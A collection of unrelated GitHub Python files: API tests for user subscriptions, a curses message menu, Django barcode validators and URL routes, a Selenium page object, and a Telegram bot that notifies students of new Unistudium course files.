+{"seq_id":"11884725654","text":"from httpx import AsyncClient\n\nfrom backend_amirainvest_com.api.app import app\n\nfrom ..config import AUTH_HEADERS\n\n\nasync def test_not_authenticated_get_user_subscriptions():\n async with AsyncClient(app=app, base_url=\"http://test\") as async_client:\n response = await async_client.get(\"/user_subscriptions/subscriber\")\n assert response.status_code == 403\n assert response.json() == {\"detail\": \"Not authenticated\"}\n\n\nasync def test_get_subscriptions_for_subscriber(factory, mock_auth):\n subscriber = await factory.gen(\"users\")\n subscriber_id = subscriber[\"users\"].id\n creator = await factory.gen(\"users\")\n await factory.gen(\n \"user_subscriptions\",\n {\"user_subscriptions\": {\"creator_id\": creator[\"users\"].id, \"subscriber_id\": subscriber_id}},\n )\n await mock_auth(subscriber_id)\n async with AsyncClient(app=app, base_url=\"http://test\") as async_client:\n response = await async_client.get(\"/user_subscriptions/subscriber\", headers=AUTH_HEADERS)\n assert response.status_code == 200\n assert str(creator[\"users\"].id) in [x[\"creator_id\"] for x in response.json()]\n\n\nasync def test_get_subscriptions_for_creator(factory, mock_auth):\n subscriber = await factory.gen(\"users\")\n creator = await factory.gen(\"users\")\n creator_id = creator[\"users\"].id\n await factory.gen(\n \"user_subscriptions\",\n {\"user_subscriptions\": {\"creator_id\": creator_id, \"subscriber_id\": subscriber[\"users\"].id}},\n )\n await mock_auth(creator_id)\n async with AsyncClient(app=app, base_url=\"http://test\") as async_client:\n response = await async_client.get(\"/user_subscriptions/creator\", headers=AUTH_HEADERS)\n assert response.status_code == 200\n assert str(subscriber[\"users\"].id) in [x[\"subscriber_id\"] for x in response.json()]\n\n\nasync def test_create_subscription(factory, mock_auth):\n subscriber = await factory.gen(\"users\")\n creator = await factory.gen(\"users\")\n subscriber_id = subscriber[\"users\"].id\n await mock_auth(subscriber_id)\n async with AsyncClient(app=app, base_url=\"http://test\") as async_client:\n response = await async_client.post(\n \"/user_subscriptions/subscribe\",\n headers=AUTH_HEADERS,\n params={\n \"creator_id\": str(creator[\"users\"].id),\n },\n )\n assert response.status_code == 200\n","repo_name":"amirainvest/amirainvest_com","sub_path":"src/backend_amirainvest_com/test/unit/backend_amirainvest_com/api/routers/test_user_subscriptions.py","file_name":"test_user_subscriptions.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"8461719412","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom time import sleep\nimport curses, os\nimport messageChecker\n\nscreen = curses.initscr()\ncurses.noecho() \ncurses.cbreak() \ncurses.start_color() \nscreen.keypad(1)\n\n\ncurses.init_pair(1,curses.COLOR_BLACK, curses.COLOR_WHITE) \nh = curses.color_pair(1) \nn = curses.A_NORMAL \n\nMENU = \"menu\"\nCOMMAND = \"command\"\nEXITMENU = \"exitmenu\"\nMID = \"m\" #personal convers /!\\ not only\n_ID = \"i\" #group\nINFO = 'info' \nEXT = 'extend'\n\n\nmenu_data = {\n 'title': \"Message Checker\", 'type': MENU, EXT : '', 'subtitle': \"Please select an option...\",\n 'options':[\n { 'title': \"Unread messages\", 'type': MENU, EXT : '', 'subtitle': \"Please select an option...\", #\n 'options': [\n { 'title': \"author: \", 'type': INFO, EXT : '', 'ID': 'uid', 'nbUnread' : 'x' },\n ]\n },\n { 'title': \"Sent messages\", 'type': MENU, EXT : '', 'subtitle': \"Please select an option...\", #\n 'options': [\n { 'title': \"author: \", 'type': INFO, EXT : '', 'ID': 'uid' },\n ]\n },\n { 'title': \"Send new message\", 'type': COMMAND, EXT : '', 'command': 'NewMessage' }, #\n ]\n}\n\nmessage_f = {\n 'title' : \": \", 'type' : INFO, EXT : '', 'timestamp' : 'timestamp', 'body' : 'body', 'subtitle': \"Please select an option...\", \n 'options' : [\n { 'title' : 'Mark as read', 'type' : COMMAND, EXT : '', 'command' : 'MarkAsRead'},\n { 'title' : 'Reply', 'type' : COMMAND, EXT : '', 'command' : 'Reply'},\n { 'title' : 'Decrypt', 'type' : COMMAND, EXT : '', 'command' : 'Decrypt', 'body' : 'body', 'timestamp' : 'timestamp'},\n { 'title' : 'Reply with encription', 'type' : COMMAND, EXT : '', 'command' : 'cryptReply'},\n ]\n}\n\ndef fillMenu(menuFormat=menu_data):\n \n allMess = messageChecker.getUnread()\n for key in allMess:\n if int(key['nbUnread']) > 0:\n menuFormat['options'][0]['options'].append(key)\n\n#Menu\n#/!\\ not dynamic yet\ndef runmenu(menu, parent):\n\n if parent is None:\n lastoption = \"Exit\"\n else:\n lastoption = \"Return to %s menu\" % parent['title']\n\n optioncount = len(menu['options']) \n pos=0 \n oldpos=None \n x = None \n \n while x !=ord('\\n'):\n if pos != oldpos:\n oldpos = pos\n screen.border(0)\n if menu[EXT] == 'body':\n screen.addstr(2,2, menu['body'], curses.A_STANDOUT)\n else:\n screen.addstr(2,2, menu['title'], curses.A_STANDOUT) \n screen.addstr(4,2, menu['subtitle'], curses.A_BOLD) \n for index in range(optioncount):\n textstyle = n\n if pos==index:\n textstyle = h\n screen.addstr(5+index,4, \"%d - %s\" % (index+1, menu['options'][index]['title']), textstyle)\n textstyle = n\n if pos==optioncount:\n textstyle = h\n screen.addstr(5+optioncount,4, \"%d - %s\" % (optioncount+1, lastoption), textstyle)\n screen.refresh()\n \n x = screen.getch() \n \n if x >= ord('1') and x <= ord(str(optioncount+1)[0]):\n pos = x - ord('0') - 1 \n elif x == 258: \n if pos < optioncount:\n pos += 1\n else: pos = 0\n elif x == 259: \n if pos > 0:\n pos += -1\n else: pos = optioncount\n\n return pos\n\n\n#Selected checker\ndef processmenu(menu, parent=None):\n\n optioncount = len(menu['options'])\n exitmenu = False\n while not exitmenu:\n getin = runmenu(menu, parent)\n if getin == optioncount:\n exitmenu = True\n elif menu['options'][getin]['type'] == MENU:\n screen.clear()\n if menu['options'][getin][EXT] == 'messages':\n menu['options'][getin]['options'] = messageChecker.organizeMess(menu['options'][getin]['ID'])\n processmenu(menu['options'][getin], menu)\n screen.clear()\n elif menu['options'][getin]['type'] == EXITMENU:\n exitmenu = True\n elif menu['options'][getin]['type'] == MID:\n x = None\n screen.clear()\n messages = messageChecker.readMess(menu['options'][getin]['ID'])\n fi = ''\n for mess in messages:\n mess = mess.encode('ascii', 'ignore').decode('ascii')\n fi += mess + '\\n\\n'\n screen.addstr(2,2, fi, curses.A_STANDOUT) \n while x !=ord('\\n'):\n x = screen.getch()\n screen.clear()\n\n# Main program\nfillMenu(menu_data)\nprocessmenu(menu_data)\ncurses.endwin()\nos.system('clear')\n","repo_name":"Es-so/Util_tools","sub_path":"test_AUTO_FB_LOGGER_and_SEND_MESS/messMenu.py","file_name":"messMenu.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"40325926112","text":"from django.conf import settings\nimport requests\nimport jwt\nfrom barcode_pattern_app.models import (BarcodePatternMaster,BarcodeShopMapping)\nfrom barcode_pattern_app.serializers import (\nBarcodePatternMasterSerializer,BarcodeShopMappingSerializer)\n\ndef check_code_type_is_present(code_type,check_flag,id):\n try:\n if type(code_type) == str and code_type.isnumeric() == False:\n return False,\"Code type must be an number\"\n if check_flag == 'insert':\n queryParams = BarcodePatternMaster.objects.filter(code_type=int(code_type),is_active=True,is_deleted=False).first()\n if check_flag == 'update':\n queryParams = BarcodePatternMaster.objects.filter(code_type=int(code_type),is_active=True,is_deleted=False).exclude(id=id).first()\n if queryParams:\n barcodePatternMasterSerializer = BarcodePatternMasterSerializer(queryParams)\n if len(barcodePatternMasterSerializer.data) != 0:\n return False, \"Code type is already present\"\n else:\n return True,\"\"\n except Exception as e:\n return False,str(e)\n\ndef check_pattern_sample_is_present(pattern_sample,check_flag,id):\n try:\n if check_flag == 'insert':\n queryParams = BarcodePatternMaster.objects.filter(pattern_sample=pattern_sample,is_active=True,is_deleted=False).first()\n if check_flag == 'update':\n queryParams = BarcodePatternMaster.objects.filter(pattern_sample=pattern_sample,is_active=True,is_deleted=False).exclude(id=id).first()\n if queryParams:\n barcodePatternMasterSerializer = BarcodePatternMasterSerializer(queryParams)\n if len(barcodePatternMasterSerializer.data) != 0:\n return False, \"Pattern sample is already present\"\n else:\n return True,\"\"\n except Exception as e:\n return False,str(e)\n\ndef check_code_description(code_description):\n try:\n if len(code_description)>500:\n return False, \"Code description should be 500 character\"\n return True,\"\"\n except Exception as e:\n return False,str(e)\n\ndef check_pn_bt_bs(request_string,request_key):\n try:\n if len(request_string)>250:\n return False, request_key+\" should be 250 character\"\n return True,\"\"\n except Exception as e:\n return False,str(e)\n\ndef check_barcode_length(barcode_length,barcode_sample):\n try:\n if type(barcode_length) == str and barcode_length.isnumeric() == False:\n return False, \"barcode length should be numeric\"\n if int(barcode_length) != len(barcode_sample):\n return False, \"barcode length and barcode sample length are not same\"\n return True,\"\"\n except Exception as e:\n return False,str(e)\n\n\ndef check_extra_information(request_data):\n if request_data['is_part_number']:\n status,message = check_start_end_numeric(request_data['part_number_start_at'],request_data['part_number_end_at'],\"Part Number\")\n if status==False:\n return status,message\n status, substring = genrate_substring(request_data['part_number_start_at'],\n request_data['part_number_end_at'], request_data['pattern_sample'])\n if status==False:\n status, message\n if substring != request_data['part_number']:\n return False,\"Part no is not matching\"\n if request_data['is_vendor_code']==True:\n status, message = check_start_end_numeric(request_data['vendor_code_start_at'],\n request_data['vendor_code_end_at'],\"Vendor Code\")\n if status == False:\n return status, message\n status, substring = genrate_substring(request_data['vendor_code_start_at'],\n request_data['vendor_code_end_at'], request_data['pattern_sample'])\n if status == False:\n status, message\n if substring != request_data['vendor_code']:\n return False, \"Vendor code is not matching\"\n if request_data['is_batch_code']:\n status, message = check_start_end_numeric(request_data['batch_code_start_at'],\n request_data['batch_code_end_at'],\"Batch Code\")\n if status == False:\n return status, message\n status, substring = genrate_substring(request_data['batch_code_start_at'],\n request_data['batch_code_end_at'], request_data['pattern_sample'])\n if status == False:\n status, message\n if substring != request_data['batch_code']:\n return False, \"Vendor code is not matching\"\n return True,\"\"\n\ndef check_start_end_numeric(start_at,end_at,request_key):\n try:\n if type(start_at) == str and start_at.isnumeric() == False:\n return False, request_key+\" start at should be numeric\"\n if type(end_at) == str and end_at.isnumeric() == False:\n return False, request_key+\" end at should be numeric\"\n if int(start_at) >= int(end_at):\n return False, request_key+\" start at should be less than end at\"\n return True,\"\"\n except Exception as e:\n return False,str(e)\n\ndef genrate_substring(start_at,end_at,original_string):\n try:\n #original_string = \" \"+original_string\n start_at = int(start_at)-1\n end_at = int(end_at)\n return True,original_string[start_at:end_at]\n except Exception as e:\n return False, str(e)\ndef get_user_name_from_token(request):\n user_name = request.META['user_name']\n if not user_name:\n return False\n return True,user_name\n\n","repo_name":"surajpttl/python-ci-cd","sub_path":"barcode_pattern_app/validations.py","file_name":"validations.py","file_ext":"py","file_size_in_byte":5705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"31553386950","text":"from django.conf.urls import include, url\nfrom django.contrib import admin\n\nurlpatterns = [\n # Examples:\n #courier\n url(r'^courier','front.views.courier_request', name='courier_request'),\n url(r'^cou','front.views.courier_res',name='courier_res'),\n #\n url(r'^user','front.views.user_login',name='user_login'),\n url(r'^response','front.views.user_response', name='user_response'),\n url(r'^edata','front.views.hello'),\n url(r'^adminu','front.views.adminuser'),\n \n url(r'^about','front.views.abt'),\n url(r'^depots','front.views.depot'),\n url(r'^fares','front.views.fare'),\n\n url(r'^bushire$','front.views.ebushire'),\n url(r'^bushire-submit','front.views.ebushiresubmit'),\n #homepage\n url(r'^home','front.views.home'),\n url(r'^bhome','front.views.homepbus'),\n url(r'^chome','front.views.homepcourier'),\n #\n url(r'^search','front.views.search'),\n url(r'^xyz', 'front.views.adhome'),\n url(r'^details', 'front.views.adminuser'),\n url(r'^cdetails', 'front.views.hello'),\n url(r'^admin', 'front.views.login'), #admin-login\n url(r'^wqr', 'front.views.my'),\n url(r'^book', 'front.views.seat'),\n url(r'^dbusreq', 'front.views.bush'),\n url(r'^admin/', include(admin.site.urls)),\n]\n","repo_name":"AshnaAN/project","sub_path":"ksrtc/ksrtc/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"12652833556","text":"from selenium.webdriver.common.by import By\nfrom pages.base_page import BasePage\n\n\nclass FiltersPage(BasePage):\n SELECT_DISCOUNT = (By.XPATH, '//ul[@id=\"DiscountLevel\"]/li[2]/a')\n SEARCH_RESULTS = (By.XPATH, '//div[@class=\"hidden-sm element-count text-nowrap\"]')\n\n def select_discount(self):\n self.wait_and_click_element_by_selector(*self.SELECT_DISCOUNT)\n\n def filter_search_results(self):\n search_results = self.chrome.find_element(*self.SEARCH_RESULTS)\n number_of_products_text = search_results.text.strip().split()[0]\n number_of_products = float(number_of_products_text.replace('.', ''))\n assert number_of_products > 1000, \\\n \"Error, the number of search results does not meet expectations.\"\n","repo_name":"gHINDAOANUiUSTIN/Proiect-final-BDD-Elefant","sub_path":"pages/filters_page.py","file_name":"filters_page.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"71656690769","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nUnistudiumListener - Telegram Bot\nAuthor: CoffeeStraw\n\"\"\"\nimport os\nimport re\nimport time\nimport requests\nimport threading\n\nimport logging\nimport colorama\nfrom colorama import Fore, Style\n\nfrom telegram import (ReplyKeyboardMarkup, ReplyKeyboardRemove,\n InlineKeyboardButton, InlineKeyboardMarkup, ChatAction, ParseMode)\nfrom telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, RegexHandler,\n ConversationHandler, CallbackQueryHandler, PicklePersistence)\n\nimport unistudium_framework as uni\nfrom settings import TOKEN, UPD_TIME, MAIN_URL\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n# Create PicklePersistence object\npp = PicklePersistence(filename='ul_data.pickle', on_flush=True)\n\n\n\ndef start(update, context):\n start_msg = \"*Benvenuto a* @UnistudiumListenerBot.\\n\"\\\n \"Questo bot ti terrà aggiornato in tempo reale sui nuovi caricamenti effettuati dai docenti \"\\\n \"nei rispettivi corsi presenti sulla piattaforma Unistudium.\\n\\n\"\\\n \"_Il bot è da considerarsi non ufficiale, né KITLab né Unipg sono responsabili in alcun modo._\"\n\n update.message.reply_markdown(start_msg)\n\n # We have a new user, add it to the pickle file\n pp.flush()\n\n return ConversationHandler.END\n\n\ndef help_list(update, context):\n help_msg = \"Questa è una lista degli attuali *comandi* presenti nel bot:\\n\\n\"\\\n \"- /cancel: Annulla un comando in esecuzione\\n\\n\"\\\n \"- /info: Informazioni utili sul bot e sulla pagina ufficiale GitHub\\n\\n\"\\\n \"- /login: Effettua il Login sul portale Unistudium chiedendo le credenziali\\n\\n\"\\\n \"- /logout: Cancella ogni dato personale raccolto dal Bot, compresa la sessione corrente ed effettuando quindi il Logout dal portale\\n\\n\"\\\n \"- /notifications: Permette di selezionare un corso e abilitare/disabilitare le sue notifiche\\n\\n\"\\\n \"- /viewfiles: Permette di visualizzare una lista di tutti i files presenti in un determinato corso\\n\\n\"\\\n \"- /viewnews: Permette di visualizzare una lista delle news presenti nella sezione \\\"Annunci\\\" di un corso e leggerne il contenuto\"\n update.message.reply_markdown(help_msg)\n\n return ConversationHandler.END\n\n\ndef info(update, context):\n info_msg = \"*UnistudiumListener* è il miglior metodo per tenerti sempre aggiornato sugli ultimi argomenti \"\\\n \"caricati dai docenti su *Unistudium.*\\nL'intero codice sorgente è totalmente open ed è \"\\\n \"consultabile sulla pagina GitHub del creatore di questo bot.\\n\\n\"\n keyboard = [[InlineKeyboardButton(\"GitHub\", url='https://github.com/CoffeeStraw/UnistudiumListenerBot')]]\n update.message.reply_markdown(info_msg, reply_markup=InlineKeyboardMarkup(keyboard))\n\n return ConversationHandler.END\n\n\ndef login(update, context):\n \"\"\"\n Command to perform a login on the Unistudium Portal\n \"\"\"\n send_user_pwd = 'Inserisci il tuo *username* e la tua *password* nel seguente formato (con un solo spazio in mezzo):\\n\\n'\\\n 'username password\\n\\n'\\\n '_Si ricorda che il bot cancellerà immediatamente il messaggio inviato non appena sarà stato effettuato il login, per questioni di Privacy._'\n\n update.message.reply_markdown(send_user_pwd)\n return 1\n\n\ndef login_1(update, context):\n # Save credentials\n context.user_data['credentials'] = {}\n\n # Getting username and password from message's text\n user_pass = update.message.text.split(' ')\n\n # Delete user message\n context.bot.delete_message(chat_id=update.effective_message.chat_id, message_id=update.message.message_id)\n\n if len(user_pass) == 2:\n context.user_data['credentials']['username'], context.user_data['credentials']['password'] = user_pass\n else:\n update.message.reply_markdown(\"Non hai *formattato correttamente* le tue credenziali, riprova.\", reply_markup=ReplyKeyboardRemove())\n return 1\n\n # Send a message to the user to let him wait\n update.message.reply_text(\"Tentativo di connessione in corso, attendere...\")\n context.bot.send_chat_action(chat_id=update.effective_message.chat_id, action=ChatAction.TYPING)\n\n # Try login\n response = uni.reconnect(context.user_data)\n if response != \"OK\":\n update.message.reply_markdown(response, reply_markup=ReplyKeyboardRemove())\n return 1\n\n # Getting Name and Surname of the user just to show that login was performed correctly\n main_page = context.user_data['session'].get(MAIN_URL)\n\n pattern = \"(.+?)\"\n name = re.findall(pattern, str(main_page.content))[0]\n\n update.message.reply_markdown(\"Sono riuscito a collegarmi, benvenuto *%s*!\" % name.title())\n \n # Update pickle file\n pp.flush()\n\n return ConversationHandler.END\n\n\ndef logout(update, context):\n \"\"\"\n Remove all the user's data from the pickle file\n \"\"\"\n # Delete all\n for key in list(context.user_data): # Using a list to prevent RuntimeError, since user_data could change during iterations\n del context.user_data[key]\n\n # Update pickle file\n pp.flush()\n\n # Notification message\n update.message.reply_markdown(\"Tutti i dati che erano presenti (credenziali, corsi seguiti, preferenze) sono stati rimossi con successo.\\n\\n\"\\\n \"_Questo comporta anche che non riceverai più alcuna notifica nel caso seguissi precedentemente qualche corso._\")\n return ConversationHandler.END\n\n\ndef notifications(update, context):\n # If the user hasn't requested the list of the courses already, we get it using the unistudium framework\n response = uni.reconnect(context.user_data)\n if response != \"OK\":\n # Error\n update.message.reply_markdown(response, reply_markup=ReplyKeyboardRemove())\n return ConversationHandler.END\n\n # Check if the list of the courses is available\n if 'courses' not in context.user_data:\n context.user_data['courses'] = uni.get_courseslist(context.user_data)\n\n # Send message with list of courses to the user\n choose_course_view_files = 'Seleziona il corso di cui vuoi abilitare/disabilitare notifiche'\n reply_keyboard = [[\"%s %s\" % (context.user_data['courses'][course_name]['followed'], course_name)] for course_name in context.user_data['courses'].keys()]\n update.message.reply_text(choose_course_view_files, reply_markup=ReplyKeyboardMarkup(reply_keyboard))\n \n # Update pickle file\n pp.flush()\n \n return 1\n\n\ndef notifications_1(update, context):\n course_name = update.message.text[2:]\n\n # Check for course name validity\n try:\n if context.user_data['courses'][course_name]['followed'] == '🔕':\n context.user_data['courses'][course_name]['followed'] = '🔔'\n update.message.reply_markdown('Riprenderai a ricevere le notifiche dal corso di ' + course_name, reply_markup=ReplyKeyboardRemove())\n else:\n context.user_data['courses'][course_name]['followed'] = '🔕'\n update.message.reply_markdown('Non riceverai più notifiche dal corso di ' + course_name, reply_markup=ReplyKeyboardRemove())\n except KeyError:\n no_course = 'Non è presente un corso con quel nome, riprova.'\n update.message.reply_text(no_course)\n return 1\n\n return ConversationHandler.END\n\n\ndef viewfiles(update, context):\n \"\"\"\n Request a list of files of a specific course in Unistudium\n \"\"\"\n # If the user hasn't requested the list of the courses already, we get it using the unistudium framework\n response = uni.reconnect(context.user_data)\n if response != \"OK\":\n # Error\n update.message.reply_markdown(response, reply_markup=ReplyKeyboardRemove())\n return ConversationHandler.END\n\n # Check if the list of the courses is available\n if 'courses' not in context.user_data:\n context.user_data['courses'] = uni.get_courseslist(context.user_data)\n\n # Send message with list of courses to the user\n choose_course_view_files = 'Seleziona il corso di cui vuoi vedere i files caricati'\n reply_keyboard = [[\"%s %s\" % (context.user_data['courses'][course_name]['followed'], course_name)] for course_name in context.user_data['courses'].keys()]\n update.message.reply_text(choose_course_view_files, reply_markup=ReplyKeyboardMarkup(reply_keyboard))\n \n # Update pickle file\n pp.flush()\n \n return 1\n\n\ndef viewfiles_1(update, context):\n course_name = update.message.text[2:]\n\n # Check for course name validity\n try:\n course_urls = context.user_data['courses'][course_name]\n except KeyError:\n no_course = 'Non è presente un corso con quel nome, riprova.'\n update.message.reply_text(no_course)\n return 1\n\n # Get list of files from Unistudium website\n files_list = uni.get_course_fileslist(context.user_data, course_urls['url'])\n context.user_data['courses'][course_name]['fileslist'] = files_list\n \n # Format the fileslist\n custom_mex = 'Ecco tutti i file che ho trovato nel corso di *%s*:\\n\\n' % course_name\n mexs = uni.get_formatted_fileslist(files_list, custom_mex)\n\n # Send list of files to the user\n for mex in mexs:\n update.message.reply_markdown(mex, reply_markup=ReplyKeyboardRemove())\n\n # Save in the pickle file\n pp.flush()\n\n return ConversationHandler.END\n\n\ndef viewnews(update, context):\n \"\"\"\n view news from unistudium\n \"\"\"\n # If the user hasn't requested the list of the courses already, we get it using the unistudium framework\n response = uni.reconnect(context.user_data)\n if response != \"OK\":\n # Error\n update.message.reply_markdown(response, reply_markup=ReplyKeyboardRemove())\n return ConversationHandler.END\n\n # Check if the list of the courses is available\n if 'courses' not in context.user_data:\n context.user_data['courses'] = uni.get_courseslist(context.user_data)\n\n # Send message with list of courses to the user\n choose_course_view_news = 'Seleziona il corso di cui vuoi vedere le news caricate'\n reply_keyboard = [[\"%s %s\" % (context.user_data['courses'][course_name]['followed'], course_name)] for course_name in context.user_data['courses'].keys()]\n update.message.reply_text(choose_course_view_news, reply_markup=ReplyKeyboardMarkup(reply_keyboard))\n\n # Save in the pickle file\n pp.flush()\n\n return 1\n\n\ndef viewnews_1(update, context):\n course_name = update.message.text[2:]\n\n # Check for course name validity\n try:\n course_urls = context.user_data['courses'][course_name]\n except KeyError:\n no_course = 'Non è presente un corso con quel nome, riprova.'\n update.message.reply_text(no_course)\n return 1\n\n # Check news availability\n course_news = uni.get_forum_news(context.user_data, course_urls['forum_url'])\n context.user_data['courses'][course_name]['newslist'] = course_news\n if not course_news:\n no_news = 'Non è presente alcuna notizia nella pagina della materia scelta.'\n update.message.reply_text(no_news, reply_markup=ReplyKeyboardRemove())\n return ConversationHandler.END\n\n # Save course selected for the next step\n context.user_data['course_selected'] = course_name\n\n # Send message to the user\n choose_news = 'Seleziona la news di cui vuoi vedere il contenuto'\n reply_keyboard = [[news_name] for news_name in course_news.keys()]\n update.message.reply_text(choose_news, reply_markup=ReplyKeyboardMarkup(reply_keyboard))\n\n # Save in the pickle file\n pp.flush()\n\n return 2\n\n\ndef viewnews_2(update, context):\n news_name = update.message.text\n \n try:\n course_name = context.user_data['course_selected']\n news = context.user_data['courses'][course_name]['newslist'][news_name]\n del context.user_data['course_selected']\n except KeyError:\n no_news = 'La notizia indicata non esiste, riprova.'\n update.message.reply_text(no_news)\n return 2\n \n news_msg = uni.get_news_msg(context.user_data, news)\n update.message.reply_text(news_msg, reply_markup=ReplyKeyboardRemove())\n\n # Save in the pickle file\n pp.flush()\n\n return ConversationHandler.END\n\n\ndef cancel(update, context):\n \"\"\"\n Undo any command which is going on\n \"\"\"\n update.message.reply_text('Ok, comando annullato.',reply_markup=ReplyKeyboardRemove())\n return ConversationHandler.END\n\n\ndef error(update, error):\n \"\"\"\n Log Errors caused by Updates\n \"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, error)\n\n\ndef callback_query(update, context):\n query = update.callback_query\n query.answer(\"Done\")\n\n\ndef listen(bot, dp, upd_time):\n \"\"\"\n Listen for updates of files and news on Unistudium\n \"\"\"\n while True:\n print(Fore.CYAN + \"Controllo per nuovi updates...\")\n\n for uid in dp.user_data:\n # To Debug the listen function, uncomment carefully these lines\n # del dp.user_data[uid]['courses']['INGEGNERIA DEL SOFTWARE (2018/19)']['fileslist'][0][1][3]\n # dp.user_data[uid]['courses']['INGEGNERIA DEL SOFTWARE (2018/19)']['fileslist'][1][1] = []\n # quit()\n\n # Check if the server is online and the credentials are valid\n response = uni.reconnect(dp.user_data[uid])\n if response != \"OK\":\n continue\n\n # Download courses list if it doesn't exist\n if 'courses' not in dp.user_data[uid]:\n dp.user_data[uid]['courses'] = uni.get_courseslist(dp.user_data[uid])\n pp.flush()\n\n for course in dp.user_data[uid]['courses']:\n if dp.user_data[uid]['courses'][course]['followed'] == '🔕':\n # Skip this course for this user\n continue\n\n # Get the most updated files list\n new_files_list = uni.get_course_fileslist(dp.user_data[uid], dp.user_data[uid]['courses'][course]['url'])\n \n # Check if I don't have a previous version\n if not 'fileslist' in dp.user_data[uid]['courses'][course]:\n dp.user_data[uid]['courses'][course]['fileslist'] = new_files_list\n pp.flush()\n continue\n \n old_files_list = dp.user_data[uid]['courses'][course]['fileslist']\n \n # Find the differences between these two lists\n def find_diff(first_list, second_list):\n diffs = []\n # Iterate over the sections\n for first_sec in first_list:\n for second_sec in second_list:\n # If the section name is the same, we could find diffs\n if first_sec[0] == second_sec[0]:\n file_diffs = []\n for file2 in first_sec[1]:\n for file1 in second_sec[1]:\n if file2 == file1:\n break\n else:\n file_diffs.append(file2)\n if file_diffs:\n diffs.append([first_sec[0], file_diffs])\n break\n else:\n # This is a new section, add it to the diffs\n diffs.append(first_sec)\n return diffs\n\n # Find additions and removes\n additions = find_diff(new_files_list, old_files_list)\n removes = find_diff(old_files_list, new_files_list)\n\n # Get the most updated forum news\n # TO DO\n\n # Notify all the users \"registered\" of the updates\n if additions or removes:\n # Update data\n dp.user_data[uid]['courses'][course]['fileslist'] = new_files_list\n pp.flush()\n print(Fore.GREEN + \"Ho trovato nuovi updates nel corso di %s (per uid: %d)\" % (course, uid))\n\n # If we have both additions and removes\n new_upd_msg = \"Ciao, ho trovato dei nuovi aggiornamenti nel corso di:\\n*{}*\".format(course)\n if additions and removes:\n custom_mex = new_upd_msg + \"\\n\\n📎 *Files aggiunti:*\\n\\n\"\n mexs = uni.get_formatted_fileslist(additions, custom_mex)\n\n for mex in mexs:\n bot.sendMessage(uid, mex, parse_mode=ParseMode.MARKDOWN)\n\n custom_mex = \"💣 *Files rimossi:*\\n\\n\"\n mexs = uni.get_formatted_fileslist(removes, custom_mex)\n\n for mex in mexs:\n bot.sendMessage(uid, mex, parse_mode=ParseMode.MARKDOWN)\n elif additions:\n custom_mex = new_upd_msg + \"\\n\\n📎 *Files aggiunti:*\\n\\n\"\n mexs = uni.get_formatted_fileslist(additions, custom_mex)\n\n for mex in mexs:\n bot.sendMessage(uid, mex, parse_mode=ParseMode.MARKDOWN)\n elif removes:\n custom_mex = new_upd_msg + \"\\n\\n💣 *Files rimossi:*\\n\\n\"\n mexs = uni.get_formatted_fileslist(removes, custom_mex)\n\n for mex in mexs:\n bot.sendMessage(uid, mex, parse_mode=ParseMode.MARKDOWN)\n\n # Wait for a bit, then check for updates once more\n print(Fore.CYAN + \"Aspetto per altri %d secondi\" % UPD_TIME)\n time.sleep(upd_time)\n\n\ndef main():\n # Setting up\n colorama.init(autoreset=True)\n\n # Create the EventHandler and pass it your bot's token.\n updater = Updater(TOKEN, persistence=pp, use_context=True)\n dp = updater.dispatcher\n\n # Adding all the handler for the commands\n cmd_login = ConversationHandler(\n entry_points=[CommandHandler('login', login)],\n\n states={\n 1: [MessageHandler(Filters.text, login_1)]\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n\n cmd_notifications = ConversationHandler(\n entry_points=[CommandHandler('notifications', notifications)],\n\n states={\n 1: [MessageHandler(Filters.text, notifications_1)]\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n\n cmd_viewfiles = ConversationHandler(\n entry_points=[CommandHandler('viewfiles', viewfiles)],\n\n states={\n 1: [MessageHandler(Filters.text | Filters.command, viewfiles_1)]\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n\n cmd_viewnews = ConversationHandler(\n entry_points=[CommandHandler('viewnews', viewnews)],\n\n states={\n 1: [MessageHandler(Filters.text, viewnews_1)],\n 2: [MessageHandler(Filters.text, viewnews_2)],\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n\n dp.add_handler(CommandHandler('start', start))\n dp.add_handler(CommandHandler('help', help_list))\n dp.add_handler(CommandHandler('info', info))\n dp.add_handler(CommandHandler('logout', logout))\n dp.add_handler(cmd_login)\n dp.add_handler(cmd_notifications)\n dp.add_handler(cmd_viewfiles)\n dp.add_handler(cmd_viewnews)\n dp.add_handler(CommandHandler('cancel', cancel))\n\n # Adding callback_query handler\n dp.add_handler(CallbackQueryHandler(callback_query))\n # Log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_polling()\n print(\"Ready to work.\")\n\n # Start the listener for new files in courses' page\n listener = threading.Thread(target=listen, args=(updater.bot, dp, UPD_TIME))\n listener.start()\n \n # Run the bot until you press Ctrl-C or the process receives SIGINT, SIGTERM or SIGABRT.\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"CoffeeStraw/UnistudiumListenerBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20267,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
